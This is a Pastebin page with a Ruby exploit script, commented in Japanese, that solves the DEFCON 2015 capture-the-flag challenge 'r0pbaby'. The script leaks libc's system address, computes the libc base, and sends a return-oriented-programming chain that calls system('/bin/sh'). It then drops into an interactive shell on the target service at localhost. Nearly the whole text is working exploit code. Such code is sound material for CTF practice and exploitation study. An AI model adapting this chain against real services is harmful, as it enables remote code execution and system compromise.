Advertisement
encry1024

DEFCON2015 r0pbaby

Dec 19th, 2015
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.31 KB | None | 0 0
  1. #coding: ascii-8bit
  2.  
  3. # DEFCON2015 r0pbaby
  4. # https://github.com/Charo-IT/pwnlib.git
  5. require_relative 'pwnlib.rb'
  6.  
  7. libc_system_offset = 0x46640  #=> system  offset
  8. libc_binsh_offset  = 0x17ccdb #=> /bin/sh offset
  9. libc_pop_rdi_offset = 0x22b1a #=> x86_64では,関数の第一引数の受け渡しにレジスタrdiを使うからこれを探した
  10. libc_pop_rdi_offset = 0x22b31 #=> だからpop rdi; retならどれでもよかったっぽい(いろいろ試してた)
  11.  
  12. host = "localhost"
  13. port = 114514
  14.  
  15. PwnTube.open(host, port){|tube|
  16.  
  17.   # libc base
  18.   tube.send("2\n")
  19.   tube.send("system\n")
  20.   system = tube.recv_capture(/Symbol system: (0x[0-9A-F]+)\n/)[0]
  21.   libc_base = system.to_i(16) - libc_system_offset
  22.   puts "libc_base = 0x#{libc_base.to_s(16)}"
  23.  
  24.   # exploit作成
  25.   payload = ""
  26.   payload << "A" * 8 #=> retする時のespが指す値が入力文字列 + 8の部分だったからパディングした
  27.   payload << [libc_base + libc_pop_rdi_offset].pack("Q")
  28.   payload << [libc_base + libc_binsh_offset].pack("Q")
  29.   payload << [system.to_i(16)].pack("Q")
  30.  
  31.   # exploitコードの配置
  32.   tube.send("3\n")
  33.   tube.send("#{payload.length + 1}\n") #=> \nのために1byte追加してる
  34.   tube.send(payload + "\n")
  35.  
  36.   # exploitコードの実行
  37.   tube.send("4\n")
  38.   tube.recv
  39.   tube.shell
  40.  
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement